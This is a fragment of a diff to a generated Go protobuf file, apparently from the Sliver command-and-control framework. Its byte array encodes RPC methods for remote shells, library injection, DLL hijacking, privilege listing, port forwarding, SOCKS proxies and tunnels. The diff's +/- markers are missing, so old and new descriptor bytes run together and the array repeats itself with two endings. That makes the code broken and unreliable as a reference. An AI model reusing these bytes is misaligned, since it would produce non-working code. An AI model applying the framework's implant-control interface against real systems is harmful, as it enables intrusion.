0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xf0, 0x33, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0xaa, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -372,84 +372,88 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50,
0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f,
0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e,
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c,
0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73,
0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74,
0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a,
0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47,
0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46,
0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73,
0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65,
0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e,
0x72, 0x69, 0x76, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63,
0x74, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62,
0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x12, 0x3b,
0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a,
0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69,
0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12,
0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74,
0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11,
0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47,
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61,
0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74,
0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28,
0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74,
0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76,
0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e,
0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70,
0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -522,97 +526,99 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
